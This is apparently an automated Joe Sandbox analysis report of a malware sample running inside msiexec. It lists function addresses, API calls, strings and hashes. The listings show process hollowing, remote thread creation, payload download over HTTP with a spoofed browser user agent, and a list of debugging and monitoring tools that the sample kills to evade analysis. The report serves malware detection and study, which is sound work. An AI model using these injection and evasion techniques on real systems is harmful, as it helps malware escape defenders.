Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction ID: 8513a250768485ad38b616c6f744f68bce6b02a76f2062e9c5525fce0266bb50
Opcode Fuzzy Hash: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction Fuzzy Hash: 23E09276508F80C6C620AF15F88001AB7B4FBC8794F904125EACD42B28CF3CC165CB10

Function 00007FF794683B30 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF794683B4E

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction ID: 1495eeab2941e769d4fdb9dcf78cf24ada926ff23aa32dc551ec010648adfd36
Opcode Fuzzy Hash: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction Fuzzy Hash: 51D0C961E38982C1EAA4AB27E8C9715A3A1FBC4744F80C039E69941668CE3CC099CB00

Non-executed Functions

Function 00007FF7946824D8 Relevance: 63.4, APIs: 32, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF79468253D

Strings

.reloc, xrefs: 00007FF794682ADF
NtUnmapViewOfSection, xrefs: 00007FF79468283E
@, xrefs: 00007FF7946828B9
ntdll, xrefs: 00007FF794682829

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction ID: ee7dc840f54c77492d9a5b561ba7af504563519ac43660e6e1a0bcfed0685f18
Opcode Fuzzy Hash: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction Fuzzy Hash: DC32C872618AC5C6E770DF26E8947AAB7A1FB88B44F408136DA9D83B58DF7CD444CB10

Function 00007FF7946810D8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00007FF7946810FC

Strings

ntdll, xrefs: 00007FF7946812FE
RtlCreateUserThread, xrefs: 00007FF79468130B
@, xrefs: 00007FF794681215
, xrefs: 00007FF7946811C5

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: OpenProcess
String ID: $@$RtlCreateUserThread$ntdll
API String ID: 3743895883-721857904
Opcode ID: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction ID: 46024185d08753c93a48c232651584bac0e5dd0ee76b63025aab4aebadb537cc
Opcode Fuzzy Hash: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction Fuzzy Hash: B571AA7190CA81C6E770AF26E4943AAF7A2FB84784F908135D6DD86B98DF7CD484CB50

Function 00007FF79468216C Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138
networksleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF7946821B0
Sleep.KERNEL32 ref: 00007FF7946821C8
InternetOpenUrlW.WININET ref: 00007FF7946821F4
InternetOpenUrlW.WININET ref: 00007FF79468222B
InternetCloseHandle.WININET ref: 00007FF794682243
Sleep.KERNEL32 ref: 00007FF79468224E
HttpQueryInfoA.WININET ref: 00007FF79468227E
InternetCloseHandle.WININET ref: 00007FF79468228D
InternetCloseHandle.WININET ref: 00007FF794682298
Sleep.KERNEL32 ref: 00007FF7946822A3
InternetCloseHandle.WININET ref: 00007FF7946822BD
InternetOpenUrlW.WININET ref: 00007FF7946822E7
InternetCloseHandle.WININET ref: 00007FF7946822FF
Sleep.KERNEL32 ref: 00007FF79468230A
HttpQueryInfoA.WININET ref: 00007FF794682342
GetProcessHeap.KERNEL32 ref: 00007FF794682351
RtlAllocateHeap.NTDLL ref: 00007FF794682367
InternetCloseHandle.WININET ref: 00007FF79468237F
InternetCloseHandle.WININET ref: 00007FF79468238A
InternetReadFile.WININET ref: 00007FF7946823C7
InternetCloseHandle.WININET ref: 00007FF7946823FD
InternetCloseHandle.WININET ref: 00007FF794682408

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF7946821A9

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction ID: 9e0f0e3b3a209630ab6d658d160ec0d4b80f54fd8110dea3fe9a7c3629c7d9fa
Opcode Fuzzy Hash: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction Fuzzy Hash: 5471D976518A82C2E760AF66F4A472AF761FBC4794F909035EA9A43B68CF7CD444CB10

Function 00007FF794684570 Relevance: 24.2, APIs: 16, Instructions: 155
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileSize.KERNEL32 ref: 00007FF7946845D8
GetProcessHeap.KERNEL32 ref: 00007FF7946845EE
RtlAllocateHeap.NTDLL ref: 00007FF794684607
CloseHandle.KERNEL32 ref: 00007FF79468461F

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: Heap$AllocateCloseFileHandleProcessSize
String ID:
API String ID: 1391523307-0
Opcode ID: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction ID: 6904483e3283791d56d510e1a3e7a388179792dbe100ce25103c7c4f7cc7352a
Opcode Fuzzy Hash: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction Fuzzy Hash: 2381D672608B81C2EA709F66F49436AE7A1FBC9B95F508125DA9D83B68DF7CD044CB10

Function 00007FF794683078 Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF794684450: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7946830B3), ref: 00007FF7946844E0

Part of subcall function 00007FF794683C30: RegDeleteKeyW.ADVAPI32 ref: 00007FF794683C48

Part of subcall function 00007FF794683E30: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF794683E43

Part of subcall function 00007FF794683E30: Process32FirstW.KERNEL32 ref: 00007FF794683E76
Part of subcall function 00007FF794683E30: CloseHandle.KERNEL32 ref: 00007FF794683E88

Part of subcall function 00007FF794683E30: wcscmp.MSVCRT ref: 00007FF794683E9D
Part of subcall function 00007FF794683E30: OpenProcess.KERNEL32 ref: 00007FF794683EB3
Part of subcall function 00007FF794683E30: TerminateProcess.KERNEL32 ref: 00007FF794683ED6
Part of subcall function 00007FF794683E30: CloseHandle.KERNEL32 ref: 00007FF794683EE4
Part of subcall function 00007FF794683E30: Process32NextW.KERNEL32 ref: 00007FF794683EF7
Part of subcall function 00007FF794683E30: CloseHandle.KERNEL32 ref: 00007FF794683F09

Sleep.KERNEL32 ref: 00007FF794683162

Strings

ProcessHacker.exe, xrefs: 00007FF7946830DE
procmon.exe, xrefs: 00007FF79468313E
idaq.exe, xrefs: 00007FF794683126
Services, xrefs: 00007FF794683151
TOTALCMD.exe, xrefs: 00007FF794683102
idaq64.exe, xrefs: 00007FF79468311A
autoruns.exe, xrefs: 00007FF794683132
procexp.exe, xrefs: 00007FF7946830EA
procexp64.exe, xrefs: 00007FF7946830F6
x64dbg.exe, xrefs: 00007FF79468310E

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateDeleteFirstNextOpenSleepSnapshotTerminateToolhelp32wcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 4011447834-928700279
Opcode ID: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction ID: 755696dc410aac644afdd59ce1a35f016bdd20bc7468c664b4cc0aaf60f3e65d
Opcode Fuzzy Hash: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction Fuzzy Hash: F62197B1A2C582D1E624FF72D8D91B9A717AF90700FC08536D43E423F29E6DA985C330

Function 00007FF794682E08 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF794682E21
ReleaseMutex.KERNEL32 ref: 00007FF794682E39
CloseHandle.KERNEL32 ref: 00007FF794682E44
GetLastError.KERNEL32 ref: 00007FF794682E51
ReleaseMutex.KERNEL32 ref: 00007FF794682E63
CloseHandle.KERNEL32 ref: 00007FF794682E6E

Strings

rbNSpGEsyb, xrefs: 00007FF794682E0C

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction ID: f0887a8e1de3475da0036d04ec0e40ff904b5f7d9544b64221fd98f96001f899
Opcode Fuzzy Hash: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction Fuzzy Hash: A4011E7690CA02C2E730AF32E898239A772FBD8B95F848531D99E42774CF3CD595C610

Function 00007FF7946838D0 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF794683750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF794683790
Part of subcall function 00007FF794683750: GetVolumeInformationW.KERNEL32 ref: 00007FF79468380D
Part of subcall function 00007FF794683750: wsprintfW.USER32 ref: 00007FF7946838AE

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF794683919
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF79468392E
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF794683941
CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF794683951
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF794683979
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF79468398C
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF794683AB5), ref: 00007FF7946839A1

Strings

.exe, xrefs: 00007FF794683992

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: lstrcat$Directory$CreateFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 943468954-4119554291
Opcode ID: f6a50f9ef93ebaf8bc2932846794c1cffc51ee18dea07f5a74ecdd23b80b10e5
Instruction ID: 0c392170963d06e3bd43ffc55050f0d2510201e0ce3b9db5f0f6247e367ee7c9
Opcode Fuzzy Hash: f6a50f9ef93ebaf8bc2932846794c1cffc51ee18dea07f5a74ecdd23b80b10e5
Instruction Fuzzy Hash: 4311EA71628986D6DB70AF36F8A476AA362FBC4B44F809031DA9E43B29DF7CD404C754

Function 00007FF794683E30 Relevance: 13.5, APIs: 9, Instructions: 44
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF794683E43
Process32FirstW.KERNEL32 ref: 00007FF794683E76
CloseHandle.KERNEL32 ref: 00007FF794683E88

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction ID: bdf1f1b3b149623bb03cfd421c81aa493cbe9a5f41ccf14af24a52539ad64ea0
Opcode Fuzzy Hash: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction Fuzzy Hash: F321A1B150CA86C1E770AF26E89C36AA362FBC4B54F908235D5AD426A4DF3DD445C710

Function 00007FF794682EA8 Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF794682EBA
ReleaseMutex.KERNEL32 ref: 00007FF794682ED2
CloseHandle.KERNEL32 ref: 00007FF794682EDD
GetLastError.KERNEL32 ref: 00007FF794682EEA
ReleaseMutex.KERNEL32 ref: 00007FF794682EFC
CloseHandle.KERNEL32 ref: 00007FF794682F07

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction ID: e1e5204c50a833955ed55beae02abb7ad2040b054c2787809d443d27c9c1b12c
Opcode Fuzzy Hash: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction Fuzzy Hash: 4901DAB691CA82C3E730AF72E894229A372FBD8B45F808131E99E42764CF3DD544C610

Function 00007FF794683CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF794683D0D
PathFindFileNameW.SHLWAPI ref: 00007FF794683D20
wcslen.MSVCRT ref: 00007FF794683D36
wcsncpy.MSVCRT ref: 00007FF794683DFB

Strings

Unknown, xrefs: 00007FF794683DEC

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction ID: dac3823f6c38c7b2dde2504157ddf0fa97ddfd53f2be776e2237dc946ed08902
Opcode Fuzzy Hash: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction Fuzzy Hash: 4D31A77661CAC4C5D770AF2AE4D87AAA3A1F788740F404226DA9DC3B68DF3DD594CB10

Function 00007FF7946813C4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF7946813DC
GetProcAddress.KERNEL32 ref: 00007FF7946813EC

Strings

kernel32, xrefs: 00007FF7946813D5
@, xrefs: 00007FF794681429
IsWow64Process, xrefs: 00007FF7946813E2

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: @$IsWow64Process$kernel32
API String ID: 1646373207-1447682865
Opcode ID: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction ID: b274fc6b0a49d103b83bfc4734502f54027bd466b3f7f0b0f84fee120a5117c2
Opcode Fuzzy Hash: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction Fuzzy Hash: 8601ECB190C742C6E634AF22E4C4769A7A1FB84348FD08135D69D42794DF7CD54ACF10

Function 00007FF794684010 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF79468402E
Process32FirstW.KERNEL32 ref: 00007FF794684060
wcscmp.MSVCRT ref: 00007FF794684077
CloseHandle.KERNEL32 ref: 00007FF7946840AD

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction ID: 8ef523292ba6953bfd98c5808601a77bc28c280f4aeef92550970d01fcb3955e
Opcode Fuzzy Hash: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction Fuzzy Hash: 1A11E2B250C686C1E770AF21E48836BA3A2FB84754F508234D6AD42798DF3DD445CB10

Function 00007FF794683750 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF794683790
GetVolumeInformationW.KERNEL32 ref: 00007FF79468380D
wsprintfW.USER32 ref: 00007FF7946838AE

Strings

%08lX%04lX%lu, xrefs: 00007FF79468389F

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction ID: 066a2d4e16c02ee2f8066bc94f619b320cbfabfee256cf3479170e8e1fca17b9
Opcode Fuzzy Hash: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction Fuzzy Hash: 3D31F87661C6C1C6D730EF65E4983ABB3A1FB84740F80513AE69D83A58EB7EC548CB14

Function 00007FF794681088 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF794681098
GetProcAddress.KERNEL32 ref: 00007FF7946810A8

Strings

GetThreadId, xrefs: 00007FF79468109E
kernel32, xrefs: 00007FF794681091

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
